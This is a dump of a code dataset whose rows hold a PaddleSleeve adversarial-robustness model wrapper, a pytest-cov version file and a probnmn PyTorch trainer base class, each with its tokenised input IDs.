max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
117
max_stars_count
int64
0
95.2k
id
stringlengths
1
7
content
stringlengths
12
593k
input_ids
sequencelengths
7
549k
AdvBox/models/blackbox.py
honshj/PaddleSleeve
41
79265
<gh_stars>10-100 # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Paddle Model """ from __future__ import absolute_import from __future__ import print_function from .base import Model import paddle import logging logger = logging.getLogger(__name__) import numpy as np import os class PaddleBlackBoxModel(Model): """ PaddleBlackBoxModel *also support adversarial sample generation based on weighted multi-model ensemble attack. """ def __init__(self, model_list, model_weights, bounds=None, mean=None, std=None, input_channel_axis=None, input_shape=None, loss=None, nb_classes=None): """ Paddle model for black box attack. Args: model_list: List. A list of Paddle2 model. model_weights: List. A list of float weights for each model to consider. loss: Paddle.Op. Loss function for supervised classification. bounds(tuple): (float, float). The value range (lower and upper bound) of the model input before standard normal distribution transform (pre-normalized domain). Most of datasets' value range is (0, 1), for instance, MNIST & Cifar10. Some of datasets' value range is (-1, 1). mean(list): The mean value of each channel if used 01 normalization. If None, it is [0]. std(list): The std value of each channel if used 01 normalization. If None, it is [1]. input_channel_axis(int): The index of the axis that represents the color channel. input_shape(tuple): The dimension of input sample. nb_classes: int. number of classification class. """ assert len(model_list) == len(model_weights) assert loss is not None super(PaddleBlackBoxModel, self).__init__( bounds=bounds, mean=mean, std=std, input_channel_axis=input_channel_axis, input_shape=input_shape) self._model_list = model_list self._model_weights = model_weights self._weighted_ensemble_model = self.ensemble_models(model_list, model_weights) self._loss = loss self._nb_classes = nb_classes def predict_name(self): """ Get the predict name, such as "softmax",etc. :return: string """ return None def predict(self, data): """ Calculate the prediction of the data. Args: data: Numpy.ndarray Input data with shape (size, height, width, channels). Return: numpy.ndarray: Predictions of the data with shape (batch_size, num_of_classes). """ # freeze BN when forwarding for model in self._model_list: for param in model.parameters(): param.stop_gradient = True for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("evaled!!") module.eval() tensor_data = paddle.to_tensor(data, dtype='float32', place=self._device) predict = self._weighted_ensemble_model(tensor_data) # free model parameter for model in self._model_list: for param in model.parameters(): param.stop_gradient = False for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("trained!!") module.train() return predict.numpy() def predict_tensor(self, data): """ Calculate the prediction of the data. Usually used for compute grad for input. Args: data: Paddle.Tensor input data with shape (size, height, width, channels). Return: numpy.ndarray: predictions of the data with shape (batch_size, num_of_classes). """ # freeze BN when forwarding for model in self._model_list: for param in model.parameters(): param.stop_gradient = True for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("evaled!!") module.eval() # Run prediction predict = self._weighted_ensemble_model(data) # free model parameter for model in self._model_list: for param in model.parameters(): param.stop_gradient = False for module in model.sublayers(): if isinstance(module, (paddle.nn.BatchNorm, paddle.nn.BatchNorm1D, paddle.nn.BatchNorm2D, paddle.nn.BatchNorm3D)): # print("trained!!") module.train() return predict def num_classes(self): """ Calculate the number of classes of the output label. Return: int: the number of classes """ return self._nb_classes def gradient(self, data, label, optimizer=None): """ Calculate the gradient of the cross-entropy loss w.r.t the image. Args: data: Numpy.ndarray input with shape as (size, height, width, channels). label: Int used to compute the gradient. When ensemble multi-models, keep labels consistent for all models. optimizer: An optimizer to compute input gradient. It should comply to different attack methods. Return: numpy.ndarray: gradient of the cross-entropy loss w.r.t the image with the shape (height, width, channel). """ return None
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 29937, 259, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29906, 29896, 349, 22352, 29925, 22352, 13189, 943, 29889, 2178, 26863, 2538, 9841, 29889, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 15945, 29908, 13, 29925, 22352, 8125, 13, 15945, 29908, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8380, 29918, 5215, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 13, 3166, 869, 3188, 1053, 8125, 13, 5215, 282, 22352, 13, 5215, 12183, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 2897, 13, 13, 13, 1990, 349, 22352, 18700, 3313, 3195, 29898, 3195, 1125, 13, 1678, 9995, 13, 1678, 349, 22352, 18700, 3313, 3195, 13, 1678, 334, 15189, 2304, 19901, 27521, 4559, 12623, 2729, 373, 7688, 287, 2473, 29899, 4299, 21285, 5337, 29889, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 13, 462, 1904, 29918, 1761, 29892, 13, 462, 1904, 29918, 705, 5861, 29892, 13, 462, 13451, 29922, 8516, 29892, 13, 462, 2099, 29922, 8516, 29892, 13, 462, 3659, 29922, 8516, 29892, 13, 462, 1881, 29918, 12719, 29918, 8990, 29922, 8516, 29892, 13, 462, 1881, 29918, 12181, 29922, 8516, 29892, 13, 462, 6410, 29922, 8516, 29892, 13, 462, 302, 29890, 29918, 13203, 29922, 8516, 1125, 13, 4706, 9995, 13, 4706, 349, 22352, 1904, 363, 4628, 3800, 5337, 29889, 13, 4706, 826, 3174, 29901, 13, 9651, 1904, 29918, 1761, 29901, 2391, 29889, 319, 1051, 310, 349, 22352, 29906, 1904, 29889, 13, 9651, 1904, 29918, 705, 5861, 29901, 2391, 29889, 319, 1051, 310, 5785, 18177, 363, 1269, 1904, 304, 2050, 29889, 13, 9651, 6410, 29901, 349, 22352, 29889, 11746, 29889, 365, 2209, 740, 363, 2428, 11292, 12965, 29889, 13, 9651, 13451, 29898, 23583, 1125, 313, 7411, 29892, 5785, 467, 450, 995, 3464, 313, 13609, 322, 7568, 3216, 29897, 310, 278, 1904, 13, 462, 4706, 1881, 1434, 3918, 4226, 4978, 4327, 313, 1457, 29899, 8945, 1891, 5354, 467, 13, 462, 4706, 7849, 310, 20035, 29915, 995, 3464, 338, 313, 29900, 29892, 29871, 29896, 511, 363, 2777, 29892, 341, 29940, 9047, 669, 315, 361, 279, 29896, 29900, 29889, 13, 462, 4706, 3834, 310, 20035, 29915, 995, 3464, 338, 8521, 29896, 29892, 29871, 29896, 467, 13, 9651, 2099, 29898, 1761, 1125, 450, 2099, 995, 310, 1269, 8242, 565, 1304, 29871, 29900, 29896, 4226, 2133, 29889, 960, 6213, 29892, 372, 338, 518, 29900, 1822, 13, 9651, 3659, 29898, 1761, 1125, 450, 3659, 995, 310, 1269, 8242, 565, 1304, 29871, 29900, 29896, 4226, 2133, 29889, 960, 6213, 29892, 372, 338, 518, 29896, 1822, 13, 9651, 1881, 29918, 12719, 29918, 8990, 29898, 524, 1125, 450, 2380, 310, 278, 9685, 393, 11524, 278, 2927, 8242, 29889, 13, 9651, 1881, 29918, 12181, 29898, 23583, 1125, 450, 9927, 310, 1881, 4559, 29889, 13, 9651, 302, 29890, 29918, 13203, 29901, 938, 29889, 1353, 310, 12965, 770, 29889, 13, 4706, 9995, 13, 4706, 4974, 7431, 29898, 4299, 29918, 1761, 29897, 1275, 7431, 29898, 4299, 29918, 705, 5861, 29897, 13, 4706, 4974, 6410, 338, 451, 6213, 13, 13, 4706, 2428, 29898, 29925, 22352, 18700, 3313, 3195, 29892, 1583, 467, 1649, 2344, 12035, 13, 9651, 13451, 29922, 23687, 29892, 13, 9651, 2099, 29922, 12676, 29892, 13, 9651, 3659, 29922, 4172, 29892, 13, 9651, 1881, 29918, 12719, 29918, 8990, 29922, 2080, 29918, 12719, 29918, 8990, 29892, 13, 9651, 1881, 29918, 12181, 29922, 2080, 29918, 12181, 29897, 13, 4706, 1583, 3032, 4299, 29918, 1761, 353, 1904, 29918, 1761, 13, 4706, 1583, 3032, 4299, 29918, 705, 5861, 353, 1904, 29918, 705, 5861, 13, 4706, 1583, 3032, 7915, 287, 29918, 24031, 29918, 4299, 353, 1583, 29889, 24031, 29918, 9794, 29898, 4299, 29918, 1761, 29892, 1904, 29918, 705, 5861, 29897, 13, 13, 4706, 1583, 3032, 6758, 353, 6410, 13, 4706, 1583, 3032, 9877, 29918, 13203, 353, 302, 29890, 29918, 13203, 13, 13, 1678, 822, 8500, 29918, 978, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 3617, 278, 8500, 1024, 29892, 1316, 408, 376, 2695, 3317, 613, 7070, 29889, 13, 4706, 584, 2457, 29901, 1347, 13, 4706, 9995, 13, 4706, 736, 6213, 13, 13, 1678, 822, 8500, 29898, 1311, 29892, 848, 1125, 13, 4706, 9995, 13, 4706, 20535, 403, 278, 18988, 310, 278, 848, 29889, 13, 4706, 826, 3174, 29901, 13, 9651, 848, 29901, 11848, 2272, 29889, 299, 2378, 10567, 848, 411, 8267, 313, 2311, 29892, 3171, 29892, 2920, 29892, 18196, 467, 13, 4706, 7106, 29901, 13, 9651, 12655, 29889, 299, 2378, 29901, 21099, 919, 1080, 310, 278, 848, 411, 8267, 313, 16175, 29918, 2311, 29892, 954, 29918, 974, 29918, 13203, 467, 13, 4706, 9995, 13, 4706, 396, 3889, 911, 350, 29940, 746, 6375, 292, 13, 4706, 363, 1904, 297, 1583, 3032, 4299, 29918, 1761, 29901, 13, 9651, 363, 1828, 297, 1904, 29889, 16744, 7295, 13, 18884, 1828, 29889, 9847, 29918, 24970, 353, 5852, 13, 9651, 363, 3883, 297, 1904, 29889, 1491, 29277, 7295, 13, 18884, 565, 338, 8758, 29898, 5453, 29892, 313, 29886, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29896, 29928, 29892, 13, 462, 462, 539, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29906, 29928, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29941, 29928, 22164, 13, 462, 1678, 396, 1596, 703, 5750, 7943, 6824, 1159, 13, 462, 1678, 3883, 29889, 14513, 580, 13, 13, 4706, 12489, 29918, 1272, 353, 282, 22352, 29889, 517, 29918, 20158, 29898, 1272, 29892, 26688, 2433, 7411, 29941, 29906, 742, 2058, 29922, 1311, 3032, 10141, 29897, 13, 4706, 8500, 353, 1583, 3032, 7915, 287, 29918, 24031, 29918, 4299, 29898, 20158, 29918, 1272, 29897, 13, 13, 4706, 396, 3889, 1904, 3443, 13, 4706, 363, 1904, 297, 1583, 3032, 4299, 29918, 1761, 29901, 13, 9651, 363, 1828, 297, 1904, 29889, 16744, 7295, 13, 18884, 1828, 29889, 9847, 29918, 24970, 353, 7700, 13, 9651, 363, 3883, 297, 1904, 29889, 1491, 29277, 7295, 13, 18884, 565, 338, 8758, 29898, 5453, 29892, 313, 29886, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29896, 29928, 29892, 13, 462, 462, 539, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29906, 29928, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29941, 29928, 22164, 13, 462, 1678, 396, 1596, 703, 3018, 1312, 6824, 1159, 13, 462, 1678, 3883, 29889, 14968, 580, 13, 4706, 736, 8500, 29889, 23749, 580, 13, 13, 1678, 822, 8500, 29918, 20158, 29898, 1311, 29892, 848, 1125, 13, 4706, 9995, 13, 4706, 20535, 403, 278, 18988, 310, 278, 848, 29889, 26991, 1304, 363, 10272, 4656, 363, 1881, 29889, 13, 4706, 826, 3174, 29901, 13, 9651, 848, 29901, 349, 22352, 29889, 29911, 6073, 1881, 848, 411, 8267, 313, 2311, 29892, 3171, 29892, 2920, 29892, 18196, 467, 13, 4706, 7106, 29901, 13, 9651, 12655, 29889, 299, 2378, 29901, 27303, 310, 278, 848, 411, 8267, 313, 16175, 29918, 2311, 29892, 13, 18884, 954, 29918, 974, 29918, 13203, 467, 13, 4706, 9995, 13, 4706, 396, 3889, 911, 350, 29940, 746, 6375, 292, 13, 4706, 363, 1904, 297, 1583, 3032, 4299, 29918, 1761, 29901, 13, 9651, 363, 1828, 297, 1904, 29889, 16744, 7295, 13, 18884, 1828, 29889, 9847, 29918, 24970, 353, 5852, 13, 9651, 363, 3883, 297, 1904, 29889, 1491, 29277, 7295, 13, 18884, 565, 338, 8758, 29898, 5453, 29892, 313, 29886, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29896, 29928, 29892, 13, 462, 462, 539, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29906, 29928, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29941, 29928, 22164, 13, 462, 1678, 396, 1596, 703, 5750, 7943, 6824, 1159, 13, 462, 1678, 3883, 29889, 14513, 580, 13, 13, 4706, 396, 7525, 18988, 13, 4706, 8500, 353, 1583, 3032, 7915, 287, 29918, 24031, 29918, 4299, 29898, 1272, 29897, 13, 13, 4706, 396, 3889, 1904, 3443, 13, 4706, 363, 1904, 297, 1583, 3032, 4299, 29918, 1761, 29901, 13, 9651, 363, 1828, 297, 1904, 29889, 16744, 7295, 13, 18884, 1828, 29889, 9847, 29918, 24970, 353, 7700, 13, 9651, 363, 3883, 297, 1904, 29889, 1491, 29277, 7295, 13, 18884, 565, 338, 8758, 29898, 5453, 29892, 313, 29886, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29896, 29928, 29892, 13, 462, 462, 539, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29906, 29928, 29892, 282, 22352, 29889, 15755, 29889, 23145, 29940, 555, 29941, 29928, 22164, 13, 462, 1678, 396, 1596, 703, 3018, 1312, 6824, 1159, 13, 462, 1678, 3883, 29889, 14968, 580, 13, 4706, 736, 8500, 13, 13, 1678, 822, 954, 29918, 13203, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 20535, 403, 278, 1353, 310, 4413, 310, 278, 1962, 3858, 29889, 13, 4706, 7106, 29901, 13, 9651, 938, 29901, 278, 1353, 310, 4413, 13, 4706, 9995, 13, 13, 4706, 736, 1583, 3032, 9877, 29918, 13203, 13, 13, 1678, 822, 16030, 29898, 1311, 29892, 848, 29892, 3858, 29892, 5994, 3950, 29922, 8516, 1125, 13, 4706, 9995, 13, 4706, 20535, 403, 278, 16030, 310, 278, 4891, 29899, 296, 14441, 6410, 281, 29889, 29878, 29889, 29873, 278, 1967, 29889, 13, 4706, 826, 3174, 29901, 13, 9651, 848, 29901, 11848, 2272, 29889, 299, 2378, 1881, 411, 8267, 408, 313, 2311, 29892, 3171, 29892, 2920, 29892, 18196, 467, 13, 9651, 3858, 29901, 3159, 1304, 304, 10272, 278, 16030, 29889, 1932, 21285, 2473, 29899, 9794, 29892, 3013, 11073, 13747, 363, 599, 4733, 29889, 13, 9651, 5994, 3950, 29901, 530, 5994, 3950, 304, 10272, 1881, 16030, 29889, 739, 881, 752, 368, 304, 1422, 5337, 3519, 29889, 13, 4706, 7106, 29901, 13, 9651, 12655, 29889, 299, 2378, 29901, 16030, 310, 278, 4891, 29899, 296, 14441, 6410, 281, 29889, 29878, 29889, 29873, 278, 1967, 13, 18884, 411, 278, 8267, 313, 3545, 29892, 2920, 29892, 8242, 467, 13, 4706, 9995, 13, 4706, 736, 6213, 13, 2 ]
BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py
MatheusBrodt/App_LabCarolVS
1
101396
<reponame>MatheusBrodt/App_LabCarolVS<filename>BackEnd/venv/lib/python3.8/site-packages/pytest_cov/__init__.py """pytest-cov: avoid already-imported warning: PYTEST_DONT_REWRITE.""" __version__ = "2.7.1"
[ 1, 529, 276, 1112, 420, 29958, 9782, 354, 375, 29933, 5964, 29873, 29914, 2052, 29918, 28632, 8179, 324, 21819, 29966, 9507, 29958, 5841, 5044, 29914, 854, 29894, 29914, 1982, 29914, 4691, 29941, 29889, 29947, 29914, 2746, 29899, 8318, 29914, 2272, 1688, 29918, 24542, 29914, 1649, 2344, 26914, 2272, 13, 15945, 29908, 2272, 1688, 29899, 24542, 29901, 4772, 2307, 29899, 5215, 287, 9177, 29901, 349, 29979, 18267, 29918, 29928, 1164, 29911, 29918, 1525, 16365, 1213, 15945, 13, 1649, 3259, 1649, 353, 376, 29906, 29889, 29955, 29889, 29896, 29908, 13, 2 ]
probnmn/trainers/_trainer.py
kdexd/probnmn-clevr
69
35272
<gh_stars>10-100 from typing import Any, Dict, Generator, List, Optional import torch from torch import nn, optim from torch.utils.data import DataLoader from tensorboardX import SummaryWriter from probnmn.config import Config from probnmn.utils.checkpointing import CheckpointManager class _Trainer(object): r""" A base class for generic training of models. This class can have multiple models interacting with each other, rather than a single model, which is suitable to our use-case (for example, ``module_training`` phase has two models: :class:`~probnmn.models.program_generator.ProgramGenerator` and :class:`~probnmn.models.nmn.NeuralModuleNetwork`). It offers full flexibility, with sensible defaults which may be changed (or disabled) while extending this class. Extended Summary ---------------- 1. Default :class:`~torch.optim.Adam` Optimizer, updates parameters of all models in this trainer. Learning rate and weight decay for this optimizer are picked up from the provided config. 2. Default :class:`~torch.optim.lr_scheduler.ReduceLROnPlateau` learning rate scheduler. Gamma and patience arguments are picked up from the provided config. Observed metric is assumed to be of type "higher is better". For 'lower is better" metrics, make sure to reciprocate. 3. Tensorboard logging of loss curves, metrics etc. 4. Serialization of models and optimizer as checkpoint (.pth) files after every validation. The observed metric for keeping track of best checkpoint is of type "higher is better", follow (2) above if the observed metric is of type "lower is better". Extend this class and override suitable methods as per requirements, some important ones are: 1. :meth:`step`, provides complete customization, this is the method which comprises of one full training iteration, and internally calls (in order) - :meth:`_before_iteration`, :meth:`_do_iteration` and :meth:`_after_iteration`. Most of the times you may not require overriding this method, instead one of the mentioned three methods called by `:meth:`step`. 2. :meth:`_do_iteration`, with core training loop - what happens every iteration, given a ``batch`` from the dataloader this class holds. 3. :meth:`_before_iteration` and :meth:`_after_iteration`, for any pre- or post-processing steps. Default behaviour: * :meth:`_before_iteration` - call ``optimizer.zero_grad()`` * :meth:`_after_iteration` - call ``optimizer.step()`` and do tensorboard logging. 4. :meth:`after_validation`, to specify any steps after evaluation. Default behaviour is to do learning rate scheduling and log validation metrics on tensorboard. Notes ----- All models are `passed by assignment`, so they could be shared with an external evaluator. Do not set ``self._models = ...`` anywhere while extending this class. Parameters ---------- config: Config A :class:`~probnmn.Config` object with all the relevant configuration parameters. dataloader: torch.utils.data.DataLoader A :class:`~torch.utils.data.DataLoader` which provides batches of training examples. It wraps one of :mod:`probnmn.data.datasets` depending on the evaluation phase. models: Dict[str, Type[nn.Module]] All the models which interact with each other during training. These are one or more from :mod:`probnmn.models` depending on the training phase. serialization_dir: str Path to a directory for tensorboard logging and serializing checkpoints. gpu_ids: List[int], optional (default=[0]) List of GPU IDs to use or evaluation, ``[-1]`` - use CPU. """ def __init__( self, config: Config, dataloader: DataLoader, models: Dict[str, nn.Module], serialization_dir: str, gpu_ids: List[int] = [0], ): self._C = config # Make dataloader cyclic for sampling batches perpetually. self._dataloader = self._cycle(dataloader) self._models = models # Set device according to specified GPU ids. self._device = torch.device(f"cuda:{gpu_ids[0]}" if gpu_ids[0] >= 0 else "cpu") # Shift models to device, and wrap in DataParallel for Multi-GPU execution (if needed). for model_name in self._models: self._models[model_name] = self._models[model_name].to(self._device) if len(gpu_ids) > 1 and -1 not in gpu_ids: # Don't wrap to DataParallel if single GPU ID or -1 (CPU) is provided. self._models[model_name] = nn.DataParallel(self._models[model_name], gpu_ids) # Accumulate parameters of all models to construct Adam Optimizer. all_parameters: List[Any] = [] for model_name in self._models: all_parameters.extend(list(self._models[model_name].parameters())) self._optimizer = optim.Adam( all_parameters, lr=self._C.OPTIM.LR_INITIAL, weight_decay=self._C.OPTIM.WEIGHT_DECAY ) # Default learning rate scheduler: (lr *= gamma) when observed metric plateaus for # "patience" number of validation steps. self._lr_scheduler = optim.lr_scheduler.ReduceLROnPlateau( self._optimizer, mode="max", factor=self._C.OPTIM.LR_GAMMA, patience=self._C.OPTIM.LR_PATIENCE, threshold=1e-3, ) # Tensorboard summary writer for logging losses and metrics. self._tensorboard_writer = SummaryWriter(log_dir=serialization_dir) # Checkpoint manager to serialize model, optimizer and lr scheduler periodically. self._checkpoint_manager = CheckpointManager( serialization_dir=serialization_dir, keep_recent=100, optimizer=self._optimizer, scheduler=self._lr_scheduler, **models, ) # Initialize a counter to keep track of the iteration number. # This increments everytime ``step`` is called. self._iteration: int = -1 def step(self, iteration: Optional[int] = None): r""" Perform one iteration of training. Parameters ---------- iteration: int, optional (default = None) Iteration number (useful to hard set to any number when loading checkpoint). If ``None``, use the internal :attr:`self._iteration` counter. """ self._before_iteration() batch = next(self._dataloader) output_dict = self._do_iteration(batch) self._after_iteration(output_dict) self._iteration = iteration or self._iteration + 1 def _before_iteration(self): r""" Steps to do before doing the forward pass of iteration. Default behavior is to simply call :meth:`zero_grad` for optimizer. Called inside :meth:`step`. """ self._optimizer.zero_grad() def _do_iteration(self, batch: Dict[str, Any]) -> Dict[str, Any]: r""" Forward and backward passes on models, given a batch sampled from dataloader. Parameters ---------- batch: Dict[str, Any] A batch of training examples sampled from dataloader. See :func:`step` and :meth:`_cycle` on how this batch is sampled. Returns ------- Dict[str, Any] An output dictionary typically returned by the models. This would be passed to :meth:`_after_iteration` for tensorboard logging. """ # What a single iteration usually would look like. iteration_output_dict = self._models["model"](batch) batch_loss = iteration_output_dict["loss"].mean() batch_loss.backward() return {"loss": batch_loss} def _after_iteration(self, output_dict: Dict[str, Any]): r""" Steps to do after doing the forward pass of iteration. Default behavior is to simply do gradient update through ``optimizer.step()``, and log metrics to tensorboard. Parameters ---------- output_dict: Dict[str, Any] This is exactly the object returned by :meth:_do_iteration`, which would contain all the required losses for tensorboard logging. """ self._optimizer.step() # keys: {"loss"} + ... {other keys such as "elbo"} for key in output_dict: if isinstance(output_dict[key], dict): # Use ``add_scalars`` for dicts in a nested ``output_dict``. self._tensorboard_writer.add_scalars( f"train/{key}", output_dict[key], self._iteration ) else: # Use ``add_scalar`` for floats / zero-dim tensors in ``output_dict``. self._tensorboard_writer.add_scalar( f"train/{key}", output_dict[key], self._iteration ) def after_validation(self, val_metrics: Dict[str, Any], iteration: Optional[int] = None): r""" Steps to do after an external :class:`~probnmn.evaluators._evaluator._Evaluator` performs evaluation. This is not called by :meth:`step`, call it from outside at appropriate time. Default behavior is to perform learning rate scheduling, serializaing checkpoint and to log validation metrics to tensorboard. Since this implementation assumes a key ``"metric"`` in ``val_metrics``, it is convenient to set this key while overriding this method, when there are multiple models and multiple metrics and there is one metric which decides best checkpoint. Parameters ---------- val_metrics: Dict[str, Any] Validation metrics for all the models. Returned by ``evaluate`` method of :class:`~probnmn.evaluators._evaluator._Evaluator` (or its extended class). iteration: int, optional (default = None) Iteration number. If ``None``, use the internal :attr:`self._iteration` counter. """ if iteration is not None: self._iteration = iteration # Serialize model and optimizer and keep track of best checkpoint. self._checkpoint_manager.step(self._iteration, val_metrics["metric"]) # Perform learning rate scheduling based on validation perplexity. self._lr_scheduler.step(val_metrics["metric"]) # Log learning rate after scheduling. self._tensorboard_writer.add_scalar( "train/lr", self._optimizer.param_groups[0]["lr"], self._iteration ) # Log all validation metrics to tensorboard (pop the "metric" key, which was only relevant # to learning rate scheduling and checkpointing). val_metrics.pop("metric") for model_name in val_metrics: for metric_name in val_metrics[model_name]: self._tensorboard_writer.add_scalar( f"val/metrics/{model_name}/{metric_name}", val_metrics[model_name][metric_name], self._iteration, ) def load_checkpoint(self, checkpoint_path: str, iteration: Optional[int] = None): r""" Load a checkpoint to continue training from. The iteration when this checkpoint was serialized, is inferred from its name (so do not rename after serialization). Parameters ---------- checkpoint_path: str Path to a checkpoint containing models and optimizers of the phase which is being trained on. iteration: int, optional (default = None) Iteration number. If ``None``, get it from the checkpoint. """ _iteration = self._checkpoint_manager.load(checkpoint_path) # By default, the provided iteration overrides what is found in checkpoint. iteration = iteration or _iteration self._iteration = iteration def _cycle(self, dataloader: DataLoader) -> Generator[Dict[str, torch.Tensor], None, None]: r""" A generator which yields a random batch from dataloader perpetually. This generator is used in the constructor. Extended Summary ---------------- This is done so because we train for a fixed number of iterations, and do not have the notion of 'epochs'. Using ``itertools.cycle`` with dataloader is harmful and may cause unexpeced memory leaks. """ while True: for batch in dataloader: for key in batch: batch[key] = batch[key].to(self._device) yield batch @property def iteration(self): return self._iteration @property def models(self): return self._models
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 3166, 19229, 1053, 3139, 29892, 360, 919, 29892, 3251, 1061, 29892, 2391, 29892, 28379, 13, 13, 5215, 4842, 305, 13, 3166, 4842, 305, 1053, 302, 29876, 29892, 5994, 13, 3166, 4842, 305, 29889, 13239, 29889, 1272, 1053, 3630, 10036, 13, 3166, 12489, 3377, 29990, 1053, 6991, 5219, 10507, 13, 13, 3166, 2070, 22882, 29876, 29889, 2917, 1053, 12782, 13, 3166, 2070, 22882, 29876, 29889, 13239, 29889, 3198, 3149, 292, 1053, 5399, 3149, 3260, 13, 13, 13, 1990, 903, 5323, 4983, 29898, 3318, 1125, 13, 1678, 364, 15945, 29908, 13, 1678, 319, 2967, 770, 363, 10035, 6694, 310, 4733, 29889, 910, 770, 508, 505, 2999, 4733, 16254, 292, 13, 1678, 411, 1269, 916, 29892, 3265, 1135, 263, 2323, 1904, 29892, 607, 338, 13907, 304, 1749, 671, 29899, 4878, 313, 1454, 1342, 29892, 13, 1678, 4954, 5453, 29918, 26495, 16159, 8576, 756, 1023, 4733, 29901, 13, 1678, 584, 1990, 18078, 30022, 771, 11197, 23521, 29889, 9794, 29889, 8860, 29918, 27959, 29889, 9283, 21575, 29952, 322, 13, 1678, 584, 1990, 18078, 30022, 771, 11197, 23521, 29889, 9794, 29889, 22882, 29876, 29889, 8139, 3631, 7355, 13724, 12913, 739, 16688, 2989, 8525, 4127, 29892, 411, 25182, 13, 1678, 21274, 607, 1122, 367, 3939, 313, 272, 12708, 29897, 1550, 23771, 445, 770, 29889, 13, 13, 1678, 7338, 2760, 6991, 5219, 13, 1678, 448, 9072, 5634, 13, 268, 29896, 29889, 13109, 584, 1990, 18078, 30022, 7345, 305, 29889, 20640, 29889, 3253, 314, 29952, 20693, 326, 3950, 29892, 11217, 4128, 310, 599, 4733, 297, 445, 13, 539, 1020, 4983, 29889, 29257, 6554, 322, 7688, 20228, 363, 445, 5994, 3950, 526, 18691, 701, 515, 278, 4944, 13, 539, 2295, 29889, 13, 13, 268, 29906, 29889, 13109, 584, 1990, 18078, 30022, 7345, 305, 29889, 20640, 29889, 29212, 29918, 816, 14952, 29889, 29934, 6085, 346, 29931, 1672, 29876, 3247, 403, 585, 29952, 6509, 6554, 1364, 14952, 29889, 402, 2735, 13, 539, 322, 282, 24701, 6273, 526, 18691, 701, 515, 278, 4944, 2295, 29889, 4250, 643, 1490, 12714, 338, 12023, 13, 539, 304, 367, 310, 1134, 376, 9812, 261, 338, 2253, 1642, 1152, 525, 13609, 338, 2253, 29908, 21556, 29892, 1207, 1854, 304, 9522, 15439, 403, 29889, 13, 13, 268, 29941, 29889, 323, 6073, 3377, 12183, 310, 6410, 19684, 29892, 21556, 2992, 29889, 13, 13, 268, 29946, 29889, 18896, 2133, 310, 4733, 322, 5994, 3950, 408, 1423, 3149, 14544, 29886, 386, 29897, 2066, 1156, 1432, 8845, 29889, 13, 539, 450, 8900, 12714, 363, 12515, 5702, 310, 1900, 1423, 3149, 338, 310, 1134, 376, 9812, 261, 338, 2253, 613, 13, 539, 1101, 313, 29906, 29897, 2038, 565, 278, 8900, 12714, 338, 310, 1134, 376, 13609, 338, 2253, 1642, 13, 13, 1678, 7338, 355, 445, 770, 322, 5712, 13907, 3519, 408, 639, 11780, 29892, 777, 4100, 6743, 526, 29901, 13, 13, 268, 29896, 29889, 584, 29885, 621, 18078, 10568, 1673, 8128, 4866, 2888, 2133, 29892, 445, 338, 278, 1158, 